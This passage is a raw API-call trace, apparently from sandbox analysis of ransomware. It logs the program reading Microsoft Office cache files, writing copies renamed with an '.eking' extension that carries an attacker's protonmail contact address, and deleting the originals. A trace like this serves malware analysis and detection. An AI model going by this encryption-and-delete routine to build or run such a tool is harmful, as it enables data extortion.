[0203.949] CloseHandle (hObject=0x1c0) returned 1 [0203.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0203.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0203.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0203.950] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0203.950] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0203.950] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0203.950] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x190 [0203.950] ReadFile (in: hFile=0x1c0, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x543, lpOverlapped=0x0) returned 1 [0203.953] WriteFile (in: hFile=0x190, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x550, lpOverlapped=0x0) returned 1 [0203.954] WriteFile (in: hFile=0x190, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0203.954] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0203.954] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0203.954] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x543, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x543, lpOverlapped=0x0) returned 1 [0203.954] FlushFileBuffers (hFile=0x1c0) returned 1 [0203.957] FlushFileBuffers (hFile=0x190) returned 1 [0203.959] CloseHandle (hObject=0x1c0) returned 1 [0203.960] CloseHandle (hObject=0x190) returned 1 [0203.961] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0203.962] SetEvent (hEvent=0xe0) returned 1 [0203.962] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0203.964] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=13642474) returned 1 [0203.964] CloseHandle (hObject=0x190) returned 1 [0203.964] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0203.964] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0203.965] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0203.965] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0203.965] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0203.965] ReadFile (in: hFile=0x190, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0203.970] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0203.970] ReadFile (in: hFile=0x190, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0203.990] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0203.990] ReadFile (in: hFile=0x190, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0204.022] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0204.023] WriteFile (in: hFile=0x190, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0204.087] SetEndOfFile (hFile=0x190) returned 1 [0204.087] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0204.087] WriteFile (in: hFile=0x190, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0204.090] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0204.090] WriteFile (in: hFile=0x190, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0204.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0204.091] WriteFile (in: hFile=0x190, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0204.094] FlushFileBuffers (hFile=0x190) returned 1 [0205.360] CloseHandle (hObject=0x190) returned 1 [0206.764] SetEvent (hEvent=0xe0) returned 1 [0206.765] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0206.766] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1457) returned 1 [0206.766] CloseHandle (hObject=0x190) returned 1 [0206.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0206.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 0x2020 [0206.766] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0206.767] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0206.767] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0206.767] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0206.767] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x1c0 [0206.768] ReadFile (in: hFile=0x190, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x5b1, lpOverlapped=0x0) returned 1 [0206.773] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x5c0, lpOverlapped=0x0) returned 1 [0206.776] WriteFile (in: hFile=0x1c0, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0206.776] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0206.776] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0206.776] WriteFile (in: hFile=0x190, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5b1, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5b1, lpOverlapped=0x0) returned 1 [0206.776] FlushFileBuffers (hFile=0x190) returned 1 [0206.938] FlushFileBuffers (hFile=0x1c0) returned 1 [0207.178] CloseHandle (hObject=0x190) returned 1 [0207.180] CloseHandle (hObject=0x1c0) returned 1 [0207.181] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0207.184] SetEvent (hEvent=0xe0) returned 1 [0207.185] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0207.198] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=885760) returned 1 [0207.198] CloseHandle (hObject=0x168) returned 1 [0207.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0207.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 0x2020 [0207.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0207.198] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0207.198] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0207.198] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0207.198] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0207.203] ReadFile (in: hFile=0x168, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xd8400, lpOverlapped=0x0) returned 1 [0207.228] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd8410, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xd8410, lpOverlapped=0x0) returned 1 [0207.487] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0207.487] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0207.487] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0207.487] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xd8400, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xd8400, lpOverlapped=0x0) returned 1 [0207.491] FlushFileBuffers (hFile=0x168) returned 1 [0207.725] FlushFileBuffers (hFile=0x17c) returned 1 [0207.730] CloseHandle (hObject=0x168) returned 1 [0207.743] CloseHandle (hObject=0x17c) returned 1 [0207.756] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.msi")) returned 1 [0207.766] SetEvent (hEvent=0xe0) returned 1 [0207.766] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0207.767] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1458) returned 1 [0207.767] CloseHandle (hObject=0x17c) returned 1 [0207.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0207.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0207.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0207.767] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0207.768] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0207.768] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0207.768] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x168 [0207.768] ReadFile (in: hFile=0x17c, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x5b2, lpOverlapped=0x0) returned 1 [0207.889] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x5c0, lpOverlapped=0x0) returned 1 [0207.891] WriteFile (in: hFile=0x168, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0207.891] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0207.891] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0207.891] WriteFile (in: hFile=0x17c, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x5b2, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x5b2, lpOverlapped=0x0) returned 1 [0207.891] FlushFileBuffers (hFile=0x17c) returned 1 [0208.035] FlushFileBuffers (hFile=0x168) returned 1 [0208.264] CloseHandle (hObject=0x17c) returned 1 [0208.265] CloseHandle (hObject=0x168) returned 1 [0208.265] DeleteFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0208.281] SetEvent (hEvent=0xe0) returned 1 [0208.281] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0208.282] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=868864) returned 1 [0208.282] CloseHandle (hObject=0x168) returned 1 [0208.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0208.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi")) returned 0x2020 [0208.282] GetFileAttributesW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0208.282] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0208.282] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0208.282] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0208.282] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.msi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.msi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x2020, hTemplateFile=0x0) returned 0x17c [0208.285] ReadFile (in: hFile=0x168, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 